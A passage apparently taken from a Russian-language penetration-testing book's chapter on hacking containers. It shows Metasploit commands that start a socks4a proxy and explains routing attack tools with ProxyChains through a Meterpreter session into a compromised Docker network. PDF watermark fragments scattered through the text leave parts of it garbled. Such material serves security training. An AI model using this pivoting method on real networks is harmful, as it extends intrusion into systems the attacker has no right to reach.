Давайте сначала загрузим вспомогательный модуль auxiliary/server/ socks4a с помощью уже знакомой команды use внутри консоли Metasploit.
msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
||
P |
|
|
|
|
NOW! |
o |
|
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
Глава 13.Взлом контейнеров |
|
||||
w Click |
to |
BUY 370 |
|
|||||||||
|
|
|
|
|
|
m |
|
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
|
|
e |
|
|
|
|
|
|
|
|
Module options (auxiliary/server/socks4a): |
|
|||||||
|
|
|
|
|
n |
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
Name |
Current Setting Required |
Description |
------------------- -------- -----------
SRVHOST |
127.0.0.1 |
yes |
The |
address |
to listen on |
SRVPORT |
1080 |
yes |
The |
port to |
listen on. |
Auxiliary action:
Name Description
---- -----------
Proxy
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Модуль создает сервер SOCKS4, прослушивающий порт 1080 по умолчанию. В действительности нам нужно прослушиватьтолько IP-адрес локального хос та, 127.0.0.1, поскольку мы единственные, кто использует этот прокси-сервер. После запуска модуля прокси-сервер отправляется в фоновый режим,готовый принимать входящие команды.
msf auxiliary(socks4a) > run
[*]Auxiliary module execution completed
[*]Starting the socks4a proxy server msf auxiliary(socks4a) >
Kali Linux поставляется в комплекте с утилитой ProxyChains, которую мы можем использовать, чтобы заставить любое приложение направлять свой трафик через определенный прокси-сервер. В нашем случае это сервер, который мы только что создали с помощью Metasploit. Это означает, что сетевой TCP-трафик, генерируемый приложениями, работающими на нашей атакующей машине, будет эффективно перенаправляться в сеть Docker, что позволит нам запускать локальные инструменты атаки и обращаться прямо в скомпрометированную сеть.
ProxyChains доступна на всех дистрибутивах для тестирования на проникновение: http://proxychains.sourceforge.net/.
Список прокси-серверов ProxyChains по умолчанию можно настроить в соответствии с конфигурацией модуля Metasploit socks4a с помощью файла
/etc/proxychains.conf.
После добавления маршрута Metasploit и запуска сервера socks4a можем устанавливать любые соединения через сеанс Meterpreter в сеть контейнеров со своего компьютера с Kali.